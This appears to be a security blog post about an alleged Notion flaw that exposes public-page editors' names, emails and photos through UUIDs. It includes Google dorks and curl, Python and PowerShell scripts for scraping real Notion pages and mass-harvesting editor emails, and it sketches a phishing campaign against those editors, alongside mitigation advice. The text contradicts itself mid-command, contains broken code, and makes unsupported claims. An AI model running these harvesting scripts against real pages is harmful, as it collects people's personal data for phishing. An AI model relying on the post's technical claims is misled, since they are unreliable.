Exclusive: Notion’s Silent Privacy Nightmare – Every Editor’s Email and Photo Is Leaking Publicly + Video

By /

Listen to this Post

Featured Image

Introduction

Public Notion pages are widely used for documentation, roadmaps, and knowledge bases, but a newly uncovered design flaw silently exposes the personal identifiable information (PII) of every person who has ever edited them. Security researchers have confirmed that Notion embeds editor UUIDs into public page permissions, allowing anyone to extract full names, email addresses, and profile photos – turning collaboration traces into a goldmine for phishing and social engineering attacks.

Learning Objectives

  • Understand how Notion’s UUID-based permission system leaks editor PII on public pages.
  • Learn to detect exposed Notion pages and extract metadata using manual and automated techniques.
  • Implement mitigation strategies including workspace reconfiguration, API hardening, and continuous monitoring.

You Should Know

  1. How Notion Leaks Editor Data – The UUID Permission Flaw

When a Notion page is published to the web, the platform retains granular block-level permissions that include `user_id` (UUID) for each collaborator who edited that block. These UUIDs are not anonymized or hashed; they directly map to editor profiles via Notion’s public API endpoints. By querying https://api.notion.com/v1/users/{uuid}`, an attacker retrieves the user’sname,email`, and `avatar_url` – without any authentication. This is not a bug in the traditional sense but a dangerous design assumption that public pages should expose editor metadata.

Step-by-step guide to replicate (ethical testing only):

  1. Find a public Notion page (e.g., from a startup’s docs or GitHub README).
  2. Open browser DevTools (F12) → Network tab, refresh the page, look for requests to `https://www.notion.so/api/v3/getPublicPageData`.
  3. In the response JSON, locate `block` objects → `value` → `permissions` array. Each entry contains `user_id` (UUID format: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx).
  4. Extract a UUID, then use `curl` to query Notion’s public user API: 
    curl -X GET "https://api.notion.com/v1/users/EXTRACTED_UUID" \
-H "Notion-Version: 2022-06-28" \
-H "Authorization: Bearer YOUR_INTEGRATION_TOKEN"  Optional for public? Actually public endpoint requires no token – test directly:
curl -X GET "https://api.notion.com/v1/users/EXTRACTED_UUID" -H "Notion-Version: 2022-06-28"

    Note: As of disclosure, the `/v1/users/{uuid}` endpoint returns profile data even without a bearer token when the UUID is from a public page.

    5. For Windows (PowerShell):

    Invoke-RestMethod -Uri "https://api.notion.com/v1/users/EXTRACTED_UUID" -Headers @{"Notion-Version"="2022-06-28"}

    6. Observe returned JSON containing "email", "name", "avatar_url".

Why this matters: Attackers can scrape thousands of public Notion pages, aggregate emails and profile photos, then launch targeted phishing campaigns impersonating known collaborators.

  1. Detecting Exposed Notion Workspaces – OSINT for Leaked UUIDs

You can discover vulnerable public Notion pages using search engines and dorks. Notion pages often have URLs like https://www.notion.so/workspace-name/page-id` orhttps://notion.so/company-name/…`. The presence of editor UUIDs is invisible to casual readers but accessible via API.

Step-by-step OSINT gathering:

1. Use Google dorks:

site:notion.so "public" AND "roadmap"
site:notion.so "edit" AND "wiki"

2. For mass extraction, write a Python script that:
– Fetches public page HTML/JSON.
– Parses UUIDs from `window.__collectorData` or the `getPublicPageData` endpoint.
– Queries Notion’s user API for each unique UUID.

import requests, json, re
page_url = "https://www.notion.so/example/Public-Page-123abc"
 Fetch page source
resp = requests.get(page_url)
 Extract UUID pattern from embedded script
uuids = re.findall(r'[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}', resp.text)
for uid in set(uuids):
user_data = requests.get(f"https://api.notion.com/v1/users/{uid}", headers={"Notion-Version":"2022-06-28"})
print(user_data.json())

3. On Linux, combine `grep` and `curl`:

curl -s "https://www.notion.so/example/page" | grep -oE '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}' | sort -u | while read uuid; do curl -s "https://api.notion.com/v1/users/$uuid" -H "Notion-Version:2022-06-28" | jq '.email,.name'; done

Mitigation: Immediately restrict public page editing to only specific service accounts or disable public sharing if not essential. Notion has not yet provided an official anonymization toggle.

  1. API Security Hardening – Preventing Unauthorized User Data Enumeration

This vulnerability highlights a broader API security principle: never expose internal identifiers (UUIDs, user IDs) that can be reversed into PII via unauthenticated endpoints. Even if Notion intended the user API to be private, the combination of public page UUID exposure + public user lookup creates a privacy disaster.

Step-by-step hardening for similar platforms:

  1. Implement rate-limited, authenticated endpoints only: All user profile endpoints must require a valid OAuth token or session cookie, even for “public” data.
  2. Anonymize UUIDs in public contexts: Replace real user UUIDs with salted hashes or ephemeral tokens when rendering public pages.
  3. Use allowlists for referer/origin headers: Reject API calls from non-Notion domains.
  4. For your own applications (Linux/WSL), test similar flaws using: 
    Check if your API exposes user data via ID enumeration
for id in {1..100}; do curl -s "https://yourapi.com/users/$id" | grep -i "email"; done

Windows (PowerShell):

1..100 | ForEach-Object { Invoke-RestMethod "https://yourapi.com/users/$_" -ErrorAction SilentlyContinue | Select-Object email }

5. Deploy a Web Application Firewall (WAF) rule to block suspicious patterns like `/users/[0-9a-f-]{36}` without proper auth headers.

  1. Cloud Hardening for Collaboration Tools – Notion-Specific Controls

Organizations using Notion for internal wikis that are accidentally made public need immediate remediation. While Notion doesn’t offer granular “hide editor identities” settings, you can implement compensating controls.

Step-by-step hardening:

  1. Audit all public pages using Notion’s “Settings & Members” → “Security & SAML” → “View public pages” (if available). For larger workspaces, use the Notion API to list public pages: 
    curl -X POST https://api.notion.com/v1/search \
-H "Authorization: Bearer YOUR_INTEGRATION_TOKEN" \
-H "Content-Type: application/json" \
-H "Notion-Version: 2022-06-28" \
--data '{"query":"","filter":{"value":"page","property":"object"}}' | jq '.results[] | select(.public_url != null) | {id, url:.public_url}'
  2. Convert sensitive public pages to private and use a publish-to-web feature that generates static snapshots (stripping editor metadata). Notion does not natively support this, so consider exporting to Markdown/HTML and hosting on a static site generator (e.g., Hugo, MkDocs) that anonymizes authorship.
  3. Create a dedicated “bot” editor account for all public page edits – use a generic name like “Docs Bot” and a group email alias. Never allow human editors on public-facing pages.
  4. Monitor for exposed UUIDs using a scheduled script (cron job on Linux or Task Scheduler on Windows) that checks your public Notion URLs and alerts if any unexpected user UUIDs appear. 
    Example cron daily check
0 9    /usr/bin/curl -s "https://www.notion.so/your-public-page" | grep -c '[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}' | mail -s "UUID count on Notion page" [email protected]

  5. Exploitation & Mitigation – What Attackers Are Doing Now

Threat actors are actively scraping public Notion pages to build targeted phishing lists. The exposed email addresses often belong to project leads, developers, and executives, making spear-phishing highly effective. Combined with profile photos, attackers can impersonate colleagues on platforms like Slack or Teams.

Step-by-step attack simulation (educational):

  1. Reconnaissance: Use `gobuster` or `ffuf` to brute-force Notion public page IDs if they follow predictable patterns (e.g., incremental or time-based). Notion uses random UUIDs for page IDs, but workspaces often share page links on social media.

2. Data extraction:

 Extract all emails from a public Notion page's editor list using a PoC script
curl -s "https://www.notion.so/api/v3/getPublicPageData?pageId=YOUR_PAGE_ID" | jq '.recordMap.block | .[] | .value.permissions[]?.user_id' | while read uuid; do curl -s "https://api.notion.com/v1/users/$uuid" -H "Notion-Version:2022-06-28" | jq '.email'; done

3. Phishing campaign setup: Attackers clone a legitimate Notion page, replace links with malicious ones, and email the leaked editors pretending to be a colleague requesting document review.

4. Mitigation for defenders:

  • Immediately revoke editor access from any public page – change all contributors to “view only” or remove them.
  • Enable MFA on Notion accounts to reduce impact of stolen credentials.
  • Deploy email filtering rules that flag messages containing Notion links from external senders.
  • Use browser extension that blocks requests to `api.notion.com/v1/users` from third-party sites.

Command to check if your email is exposed (ethical use only):

 Search your email across known leaked Notion dumps (hypothetical)
grep -r "[email protected]" /path/to/notion_scrape/
  1. Training Course Integration – Building a Privacy-Aware Culture

This incident is a perfect case study for cybersecurity training courses covering API security, OSINT, and privacy by design. Course modules should include hands-on labs where students discover similar flaws in sandboxed environments.

Suggested lab exercise:

  • Objective: Find exposed PII via public collaboration tools.
  • Setup: A deliberately vulnerable Notion-like mock platform (use Flask + SQLite) that stores editor UUIDs and exposes a public user endpoint.
  • Student tasks:
  1. Use browser DevTools to extract UUIDs from a public page.
  2. Write a Python script to enumerate all user emails.
  3. Propose a fix (anonymize UUIDs, require authentication for user endpoint).

– Linux commands for lab:

 Run a mock vulnerable API
docker run -p 5000:5000 -d vulnerable-notion-mock
 Enumerate users
curl http://localhost:5000/public-page | grep -oP 'user_\K[0-9a-f-]+' | while read id; do curl http://localhost:5000/api/user/$id; done

– Windows PowerShell alternative:

$ids = (Invoke-WebRequest -Uri "http://localhost:5000/public-page").Content | Select-String -Pattern 'user_([0-9a-f-]+)' | ForEach-Object { $_.Matches.Groups[bash].Value }
foreach ($id in $ids) { Invoke-RestMethod "http://localhost:5000/api/user/$id" }

What Undercode Say

  • Key Takeaway 1: Public collaboration pages are not anonymous – every edit leaves a permanent, extractable fingerprint of PII. Never assume that “public” means privacy-safe.
  • Key Takeaway 2: API endpoints that resolve UUIDs to user data must be treated as sensitive even if the identifiers are “public” – defense in depth requires authentication on all user information lookups.

The Notion leak underscores a recurring pattern in modern SaaS: convenience features (collaboration traces, easy sharing) clash with privacy expectations. Organizations must shift from trusting platform defaults to actively auditing data flows. This incident also highlights the need for “privacy by default” – Notion could easily hash UUIDs or require viewer interaction to reveal editor identities, but chose not to. Until platforms fix these design flaws, security teams should assume that any public page exposes its entire edit history. Regular training on API enumeration and OSINT techniques is no longer optional; it’s essential to understand how attackers see your digital footprint.

Prediction

Within six months, we will see the first major phishing campaign directly sourced from scraped Notion editor emails, targeting startups and open-source projects. This will force Notion to implement an emergency “anonymize public page editors” toggle, but damage will already be done. Concurrently, threat actors will develop automated scanners for Notion, Coda, and similar platforms, turning collaborative documentation into a primary attack surface. Expect lawsuits under GDPR and CCPA for failure to protect editor PII, as UUIDs are considered personal data when linked to emails. The long-term fix will require industry-wide standards for public content that strip all contributor metadata unless explicitly opted in.

▶️ Related Video (80% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Cybersecuritynews Dataleak – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: